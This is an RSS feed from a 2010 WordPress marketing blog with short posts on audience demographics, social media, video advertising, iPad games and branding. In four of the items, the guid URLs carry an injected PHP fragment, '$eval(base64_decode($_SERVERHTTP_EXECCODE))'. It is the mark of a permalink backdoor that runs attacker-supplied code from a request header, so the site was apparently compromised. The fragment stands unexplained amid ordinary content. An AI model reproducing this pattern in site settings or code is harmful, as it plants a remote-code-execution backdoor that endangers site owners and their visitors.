<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Internet Marketing Advice Blog</title>
	<atom:link href="http://ashleyhartmarketing.com/marketingblog/feed" rel="self" type="application/rss+xml" />
	<link>http://ashleyhartmarketing.com/marketingblog</link>
	<description>Web Internet Marketing Tips for Small Business</description>
	<lastBuildDate>Mon, 02 Aug 2010 13:02:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Baby Boomers and 18-34 Age Group Have Similar Online Habits</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/08/02/baby-boomers-and-18-34-age-group-have-similar-online-habits/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/08/02/baby-boomers-and-18-34-age-group-have-similar-online-habits/%#comments</comments>
		<pubDate>Mon, 02 Aug 2010 13:00:23 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[online marketing]]></category>
		<category><![CDATA[18-34 demographic age]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[baby boomers]]></category>
		<category><![CDATA[Bing]]></category>
		<category><![CDATA[early technology adopters]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[fox interactive]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Nielsenwire]]></category>
		<category><![CDATA[online habits]]></category>
		<category><![CDATA[online users]]></category>
		<category><![CDATA[top 10 baby boomer sites]]></category>
		<category><![CDATA[top 10 sites for 18-34 year olds]]></category>
		<category><![CDATA[US demographics]]></category>
		<category><![CDATA[wikipedia]]></category>
		<category><![CDATA[yahoo]]></category>
		<category><![CDATA[YouTube]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/?p=65</guid>
		<description><![CDATA[According to the NielsenWire&#8217;s latest report, baby boomers should be considered early technology adopters, similar to the 18-34 year old demographic age group. The top 10 ranked sites that are used by baby boomers show similar online surfing habits, as the younger demographic. Top 10 sites for baby boomers are Google, Yahoo, Bing, Facebook, Microsoft, [...]]]></description>
			<content:encoded><![CDATA[<p>According to the NielsenWire&#8217;s latest report, baby boomers should be considered early technology adopters, similar to the 18-34 year old demographic age group. </p>
<p>The top 10 ranked sites that are used by baby boomers show similar online surfing habits, as the younger demographic. Top 10 sites for baby boomers are Google, Yahoo, Bing, Facebook, Microsoft, AOL, YouTube, Wikipedia, Ask, and Amazon.  Note how similar these are to the top 10 sites for the 18-34 year old demographic group: Google, Yahoo, Facebook, Bing, YouTube, Microsoft, AOL, Fox Interactive, Apple, Wikipedia.  Uncanny how similar these groups tastes have become, especially since the previous older demographic trends have shown slower technology adoption. That may have been true of those previous generations, but not of the baby boomers.</p>
<p>If you are a marketer that has normally targeted the 18-34 year old demographic because you thought that was the best demographic, think again, the baby boomers should not be overlooked for targeting your ad spend.  Convince your companies that baby boomers should be a considered demographic to market your products/services to.  These baby boomers have more cash and are more free to spend their cash, since they don&#8217;t have the same economy restrictions that have hit the younger demographic in the U.S.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/08/02/baby-boomers-and-18-34-age-group-have-similar-online-habits/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social Media Networks Twitter and Facebook Still Not Big on Cell Phones and Mobile Devices</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/07/08/social-media-networks-twitter-and-facebook-still-not-big-on-cell-phones/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/07/08/social-media-networks-twitter-and-facebook-still-not-big-on-cell-phones/%#comments</comments>
		<pubDate>Thu, 08 Jul 2010 15:02:59 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[online marketing]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Pew Internet and American Life Project study]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[social media cell phone usage]]></category>
		<category><![CDATA[tablets]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/?p=63</guid>
		<description><![CDATA[According to a recent study on Pew Internet &#038; American Life Project, only 10% of 59% of American adults use their mobile phones or laptops to check their social media status, such on Twitter and Facebook. This is a small in comparison to the buzz that everyone has been hearing in the media about social [...]]]></description>
			<content:encoded><![CDATA[<p>According to a recent study on Pew Internet &#038; American Life Project, only 10% of 59% of American adults use their mobile phones or laptops to check their social media status, such on Twitter and Facebook. This is a small in comparison to the buzz that everyone has been hearing in the media about social media usage. </p>
<p>The top reason for using cell phones and mobile devices (54%) in America, is for forwarding videos or photos to friends. Although more and more people now have smart phones, tablets, and laptops, a small percentage is using these devices to access social media on-the-go, which means it&#8217;s important to consider social media on mobile devices for the future, but be realistic and focus your marketing efforts and dollars on where your target audience is today.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/07/08/social-media-networks-twitter-and-facebook-still-not-big-on-cell-phones/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Consider Video Advertising At Movie Screens, Malls, And Grocery Stores, Before YouTube And Facebook</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/06/01/consider-video-advertising-at-movie-screens-malls-and-grocery-stores-before-youtube-and-facebook/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/06/01/consider-video-advertising-at-movie-screens-malls-and-grocery-stores-before-youtube-and-facebook/%#comments</comments>
		<pubDate>Tue, 01 Jun 2010 13:01:00 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[brand marketing]]></category>
		<category><![CDATA[digital video advertising]]></category>
		<category><![CDATA[internet marketing]]></category>
		<category><![CDATA[online marketing]]></category>
		<category><![CDATA[Arbitron study]]></category>
		<category><![CDATA[brand advertising]]></category>
		<category><![CDATA[brand marketing with digital video ads]]></category>
		<category><![CDATA[facebook advertising videos]]></category>
		<category><![CDATA[grocery store video advertising]]></category>
		<category><![CDATA[movie screen advertising]]></category>
		<category><![CDATA[video advertising]]></category>
		<category><![CDATA[YouTube Videos]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/2010/06/01/consider-video-advertising-at-movie-screens-malls-and-grocery-stores-before-youtube-and-facebook/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[A new Arbitron study, reports that more than 70% of the American population, 181 million, have viewed a digital video display ads in public areas in the last month, such as in movie theaters, at grocery stores or in malls. 43% of Americans viewed a video display ad on the Internet, and 41% viewed a digital [...]]]></description>
			<content:encoded><![CDATA[<p>A new Arbitron study, reports that more than 70% of the American population, 181 million, have viewed a digital video display ads in public areas in the last month, such as in movie theaters, at grocery stores or in malls. 43% of Americans viewed a video display ad on the Internet, and 41% viewed a digital video ad on Facebook. Obviously, offline digital video advertising is still beating online, but what is most interesting is the memory recall factor of those video ads that have been viewed.</p>
<p>47% of Americans that viewed a public digital video ad recalled the ad, while only 19% online recalled an ad and planned to make an unplanned purchase, based on that ad.</p>
<p>Video display ads in grocery stores reach 97% of the U.S. population and movie theaters are ranked #2 for reaching teens, according to the study. So, don&#8217;t discount offline digital video advertising too fast for the web, offline still has greater reach and memory recall for brands needing to reach their target audiences.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/06/01/consider-video-advertising-at-movie-screens-malls-and-grocery-stores-before-youtube-and-facebook/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PC-based Gaming Developers Should Introduce New Games on iPad</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/05/18/gaming-developers-should-introduce-new-games-on-ipad/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/05/18/gaming-developers-should-introduce-new-games-on-ipad/%#comments</comments>
		<pubDate>Tue, 18 May 2010 13:21:32 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[gaming]]></category>
		<category><![CDATA[gaming marketing]]></category>
		<category><![CDATA[gameloft games]]></category>
		<category><![CDATA[gaming developers]]></category>
		<category><![CDATA[gaming development on ipad]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[ipad cannibalizes ipod sales]]></category>
		<category><![CDATA[ipad games]]></category>
		<category><![CDATA[ipod]]></category>
		<category><![CDATA[iron man 2 game]]></category>
		<category><![CDATA[N.O.V.A]]></category>
		<category><![CDATA[pc-based gaming developers should develop for ipad]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/2010/05/18/gaming-developers-should-introduce-new-games-on-ipad/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[PC-based Gaming Developers looking for new channels should look seriously to the iPad for launching new games. iPad is starting to already cannibalize iPod sales, based on April sales for the iPad and iPod. While iPad is going strong with over 1,000,000 already sold, iPod has seen a decline of 17% in their April sales [...]]]></description>
			<content:encoded><![CDATA[<p>PC-based Gaming Developers looking for new channels should look seriously to the iPad for launching new games. iPad is starting to already cannibalize iPod sales, based on April sales for the iPad and iPod. While iPad is going strong with over 1,000,000 already sold, iPod has seen a decline of 17% in their April sales numbers, which can obviously be attributed to the introduction of the iPad. So, why is this important to PC-based Gaming Developers? Because gaming apps are the top apps being sold and downloaded for free on the iPad. With the new iPad&#8217;s great large interface and ability to be taken anywhere, gaming is taken to a new level, unlike ever before.</p>
<p>PC-based Gaming Developers should jump on the band wagon and start developing for the iPad. iPad is revolutionizing the way people play games remotely. Games from Gameloft, such as N.O.V.A. and Iron Man 2 are being downloaded at an enormous rate and they sell for $9.99. The price hasn&#8217;t seem to deter gamers, as long as the experience is great and iPad allows for developers to go beyond the box with their development. If PC-based Gaming Developers want to survive, especially with the decline in gamers playing online, iPad offers a new revenue channel.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/05/18/gaming-developers-should-introduce-new-games-on-ipad/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>25% of Blacks Are Twitter Users</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/05/11/25-of-blacks-are-twitter-users/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/05/11/25-of-blacks-are-twitter-users/%#comments</comments>
		<pubDate>Tue, 11 May 2010 13:15:27 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[online marketing]]></category>
		<category><![CDATA[3 computers in household]]></category>
		<category><![CDATA[black demographic marketing targeting]]></category>
		<category><![CDATA[Edison Research]]></category>
		<category><![CDATA[twitter users]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/2010/05/11/25-of-blacks-are-twitter-users/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[According to Edison Research, 25% of Black Americans are using Twitter. This is an interesting information, since there are only 12% of blacks in America that make up the overall population. Also, 4 out of 10 Twitter users have at 3 computers in the household. This is certainly interesting information for online demographic targeting.]]></description>
			<content:encoded><![CDATA[<p>According to Edison Research, 25% of Black Americans are using Twitter.  This is an interesting information, since there are only 12% of blacks in America that make up the overall population.  Also, 4 out of 10 Twitter users have at 3 computers in the household.</p>
<p>This is certainly interesting information for online demographic targeting.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/05/11/25-of-blacks-are-twitter-users/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Inbound Marketing Budgets Increase for 2010</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/05/04/inbound-marketing-budgets-increase-for-2010/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/05/04/inbound-marketing-budgets-increase-for-2010/%#comments</comments>
		<pubDate>Tue, 04 May 2010 19:06:38 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[online marketing]]></category>
		<category><![CDATA[blogs]]></category>
		<category><![CDATA[direct mail]]></category>
		<category><![CDATA[direct marketing]]></category>
		<category><![CDATA[inbound marketing]]></category>
		<category><![CDATA[organic SEO]]></category>
		<category><![CDATA[outbound marketing]]></category>
		<category><![CDATA[ppc]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[social media marketing]]></category>
		<category><![CDATA[trade shows]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/?p=52</guid>
		<description><![CDATA[According to the &#8216;State of Inbound Marketing Report&#8217; reported by HubSpot, inbound marketing is increasing at the expense of outbound marketing for 2010. Social Media, PPC, Organic SEO, and blogs, all part of the online media mix, seem to be increasing in value for lead generation for marketers more so, due to the increased success [...]]]></description>
			<content:encoded><![CDATA[<p>According to the &#8216;State of Inbound Marketing Report&#8217; reported by HubSpot, inbound marketing is increasing at the expense of outbound marketing for 2010.  Social Media, PPC, Organic SEO, and blogs, all part of the online media mix, seem to be increasing in value for lead generation for marketers more so, due to the increased success of the inbound marketing programs.  Unfortunately, offline outbound marketing programs, which constitute trade shows, telemarketing, and direct mail are decreasing in budgets, due to the successes of online marketing generating quantifiable leads.</p>
<p>For 2010, outbound marketing budget expectations will be decreasing from 29% to 24%, but inbound marketing will be increasing from 38% to 34%.  This is an important shift for lead generation channels, since the change marks a strong shift to online from offline.  To see what works best for your marketing strategies, make sure that before you run out and spend a lot of money on social media and the other outbound marketing programs, make sure that your target audience is there and test each channel, before making a large investment.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/05/04/inbound-marketing-budgets-increase-for-2010/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What Facebook&#8217;s Open Graph Means to Marketers</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/04/28/what-facebooks-open-graph-means-to-marketers/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/04/28/what-facebooks-open-graph-means-to-marketers/%#comments</comments>
		<pubDate>Wed, 28 Apr 2010 18:00:39 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[internet marketing]]></category>
		<category><![CDATA[online marketing]]></category>
		<category><![CDATA[better ad targeting]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Facebook advertising]]></category>
		<category><![CDATA[Facebook Open Graph]]></category>
		<category><![CDATA[for online marketers]]></category>
		<category><![CDATA[online advertising]]></category>
		<category><![CDATA[Open Graph]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/?p=46</guid>
		<description><![CDATA[Facebook's Open Graph Will Better Ad Targeting for Marketers]]></description>
			<content:encoded><![CDATA[<p>Facebook introduced Open Graph at the F8 Conference last week, which will extend Facebook&#8217;s platform to any third-party publisher online. So, what does this mean for marketers? </p>
<p>For the Publishing Marketer, this will allow you to tap into Facebook&#8217;s 500+ million users without having to have a Facebook branded Fan Page. By using the Facebook API, will allow publishers to enhance the user&#8217;s experience at their site with social functionality.  How?  Publisher&#8217;s will now be able to place the Facebook toolbar at the bottom of a site page, which will offer a social experience with the popular &#8217;Like&#8217; button, friend&#8217;s list info and chat.</p>
<p>Marketers that advertise their products/services or Fan Pages on Facebook  will eventually have better ad targeting, since the Open Graph will allow for Facebook to gather new user data on preferences and behaviors, thus making better for targeted ads for marketers.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/04/28/what-facebooks-open-graph-means-to-marketers/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Your Company&#8217;s Brand May Be Why Consumers Don&#8217;t Buy</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/04/08/your-companys-brand-may-be-why-consumers-dont-buy/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/04/08/your-companys-brand-may-be-why-consumers-dont-buy/%#comments</comments>
		<pubDate>Thu, 08 Apr 2010 12:42:38 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[online marketing]]></category>
		<category><![CDATA[brand advertisements]]></category>
		<category><![CDATA[brand marketing]]></category>
		<category><![CDATA[consumer purchase behavior]]></category>
		<category><![CDATA[consumers dislike brand]]></category>
		<category><![CDATA[March 2010 Harris Poll]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/2010/04/08/your-companys-brand-may-be-why-consumers-dont-buy/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</guid>
		<description><![CDATA[The March 2010 Harris Poll showed that 35% of consumers chose not to buy from a company because they thought the company&#8217;s brand advertisements were distasteful. 28% of consumers decided not to buy because they disliked the spokesperson for the brand and 27% of consumers chose not to buy from the company because they didn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>The March 2010  Harris Poll showed that 35% of consumers chose not to buy from a company because they thought the company&#8217;s brand advertisements were distasteful. 28% of consumers decided not to buy because they disliked the spokesperson for the brand and 27% of consumers chose not to buy from the company because they didn&#8217;t like the program/event the company&#8217;s brand was sponsoring.</p>
<p>Overall, be careful when selecting the advertisements, programs, events and spokespeople that your company&#8217;s brand will be associated with, it can have detrimental consequences to the way your brand will be perceived and ultimately hurt your marketing ROI. </p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/04/08/your-companys-brand-may-be-why-consumers-dont-buy/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is Your Target Market on Facebook,Twitter or FourSquare?</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/03/18/is-your-target-market-on-facebooktwitter-or-foursquare/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/03/18/is-your-target-market-on-facebooktwitter-or-foursquare/%#comments</comments>
		<pubDate>Thu, 18 Mar 2010 13:50:53 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[online marketing]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[FourSquare online marketing strategy]]></category>
		<category><![CDATA[social media marketing]]></category>
		<category><![CDATA[target markets]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/?p=44</guid>
		<description><![CDATA[Facebook, Twitter, and the new FourSquare sites are dominating the headlines everyday with how many people have joined on a daily basis, which is great for B2C online marketers, since this gives a new opportunity source for lead generation, but don&#8217;t just run out and build that Facebook Fan Page or send out tweets just [...]]]></description>
			<content:encoded><![CDATA[<p>Facebook, Twitter, and the new FourSquare sites are dominating the headlines everyday with how many people have joined on a daily basis, which is great for B2C online marketers, since this gives a new opportunity source for lead generation,  but don&#8217;t just run out and build that Facebook Fan Page or send out tweets just yet. Just because your target audience may be in these social media networks, does not necessarily mean that they want to be marketed to outright.  </p>
<p>Don&#8217;t let the hype confuse you from the online marketing strategy that you have already created, but definitely research Facebook, Twitter and FourSquare to see how your target audience, is being marketed to by either your competitors or companies in general. </p>
<p>Social media marketing is becoming an integral part of the overall online marketing strategy mix and if you&#8217;re a good online marketer, it&#8217;s your job to review these networks as possible leads for your company.  Just be careful not to exhaust your resources trying to jump on the social media bandwagon, before doing your research carefully.  </p>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/03/18/is-your-target-market-on-facebooktwitter-or-foursquare/%/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Has Social Media Facebook Beaten Online Marketing?</title>
		<link>http://ashleyhartmarketing.com/marketingblog/2010/02/08/has-social-media-facebook-beaten-online-marketing/%</link>
		<comments>http://ashleyhartmarketing.com/marketingblog/2010/02/08/has-social-media-facebook-beaten-online-marketing/%#comments</comments>
		<pubDate>Mon, 08 Feb 2010 17:00:58 +0000</pubDate>
		<dc:creator>ashleyh4</dc:creator>
				<category><![CDATA[online marketing]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[limited online marketing budgets]]></category>
		<category><![CDATA[LinkedIn]]></category>
		<category><![CDATA[online marketers]]></category>
		<category><![CDATA[online target audience]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://ashleyhartmarketing.com/marketingblog/?p=42</guid>
		<description><![CDATA[There&#8217;s been a lot of hype lately surrounding Social Media Networks, such as Facebook and LinkedIn, that these 3.0 portals should be the primary channels for online marketers that are budget challenged. Marketers are having a tough decision choosing, which marketing channels should they start with, when their resources and budgets are limited, but stick [...]]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s been a lot of hype lately surrounding Social Media Networks, such as Facebook and LinkedIn, that these 3.0 portals should be the primary channels for online marketers that are budget challenged. Marketers  are having a tough decision choosing, which marketing channels should they start with, when their resources and budgets are limited, but stick with the following &#8216;rule of thumb&#8217;, know who and where your online target audience is. </p>
<p>Is your target audience actively engaging on social media networks, such as Facebook and/or LinkedIn?  If yes, then you have made a case to try some moderate testing on the Social Networks, but if no, don&#8217;t get caught in the hype!  Traditional online marketing is still alive and kicking, as shown today in ComScore&#8217;s latest reports that Yahoo and Google still have more traffic than Facebook.  </p>
<p>If you know where your target audience is, then that should dictate how to focus your energies for marketing channels.</p>
]]></content:encoded>
			<wfw:commentRss>http://ashleyhartmarketing.com/marketingblog/2010/02/08/has-social-media-facebook-beaten-online-marketing/%/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
